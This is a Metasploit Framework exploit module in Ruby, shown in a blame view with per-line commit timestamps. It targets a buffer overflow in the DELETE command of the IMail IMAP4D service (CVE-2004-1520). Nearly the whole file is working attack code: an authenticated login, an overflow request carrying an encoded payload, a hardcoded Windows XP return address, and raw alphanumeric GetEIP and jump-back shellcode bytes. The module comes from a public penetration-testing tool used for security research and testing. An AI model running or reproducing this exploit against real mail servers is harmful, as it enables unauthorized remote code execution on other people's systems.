2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-12-05 05:00:27 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2005-12-05 05:00:27 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Imap
|
2005-12-05 05:00:27 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2005-12-05 05:00:27 +00:00
|
|
|
'Name' => 'IMail IMAP4D Delete Overflow',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits a buffer overflow in the 'DELETE'
|
2005-12-05 05:00:27 +00:00
|
|
|
command of the the IMail IMAP4D service. This vulnerability
|
|
|
|
can only be exploited with a valid username and password.
|
|
|
|
This flaw was patched in version 8.14.
|
|
|
|
},
|
|
|
|
'Author' => [ 'spoonm' ],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-12-05 05:00:27 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2009-06-07 20:20:42 +00:00
|
|
|
[ 'CVE', '2004-1520'],
|
2005-12-05 05:00:27 +00:00
|
|
|
[ 'OSVDB', '11838'],
|
|
|
|
[ 'BID', '11675'],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
2010-04-30 08:40:19 +00:00
|
|
|
'DefaultOptions' =>
|
2005-12-05 05:00:27 +00:00
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 614,
|
|
|
|
'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
|
|
|
|
'StackAdjustment' => -3500,
|
2006-07-18 01:09:42 +00:00
|
|
|
'EncoderOptions' =>
|
|
|
|
{
|
|
|
|
'BufferRegister' => 'EDX',
|
|
|
|
}
|
2005-12-05 05:00:27 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2005-12-05 05:00:27 +00:00
|
|
|
[
|
|
|
|
# alphanum rets :(, will look more into it later
|
|
|
|
['Windows XP sp0 comctl32.dll', { 'Ret' => 0x77364650 }],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Nov 12 2004',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect_login
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-12-05 05:00:27 +00:00
|
|
|
print_status("Sending overflow string...")
|
|
|
|
req = 'A683 DELETE '
|
|
|
|
req << payload.encoded
|
|
|
|
|
|
|
|
# Jump over code
|
|
|
|
req << "\x74\x32\x75\x30"
|
|
|
|
req << [target.ret].pack('V')
|
2007-03-01 08:21:36 +00:00
|
|
|
req << rand_text_alphanumeric(44)
|
2005-12-05 05:00:27 +00:00
|
|
|
|
|
|
|
# GetEIP code
|
|
|
|
req << "\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x5a\x6a\x31\x59"
|
|
|
|
req << "\x6b\x42\x34\x49\x30\x42\x4e\x42\x49\x75\x50\x4a\x4a\x52\x52\x59"
|
|
|
|
|
|
|
|
# Alphanumeric jmp back (edx context)
|
2010-09-20 08:06:27 +00:00
|
|
|
req << "\x6a\x6a\x58\x30\x42\x31\x50\x41\x42\x6b\x42\x41"
|
2005-12-05 05:00:27 +00:00
|
|
|
req << "\x7a\x42\x32\x42\x41\x32\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50"
|
|
|
|
req << "\x75\x4a\x49\x52\x7a\x71\x4a\x4d\x51\x7a\x4a\x6c\x55\x66\x62\x57"
|
|
|
|
req << "\x70\x55\x50\x4b\x4f\x6b\x52\x6a"
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-12-05 05:00:27 +00:00
|
|
|
# Run off the stack, so we don't kill our payload, or something...
|
2007-03-01 08:21:36 +00:00
|
|
|
req << rand_text_alphanumeric(600)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-12-05 05:00:27 +00:00
|
|
|
# Terminate the request
|
|
|
|
req << "\r\n"
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-12-05 05:00:27 +00:00
|
|
|
sock.put(req)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-12-05 05:00:27 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|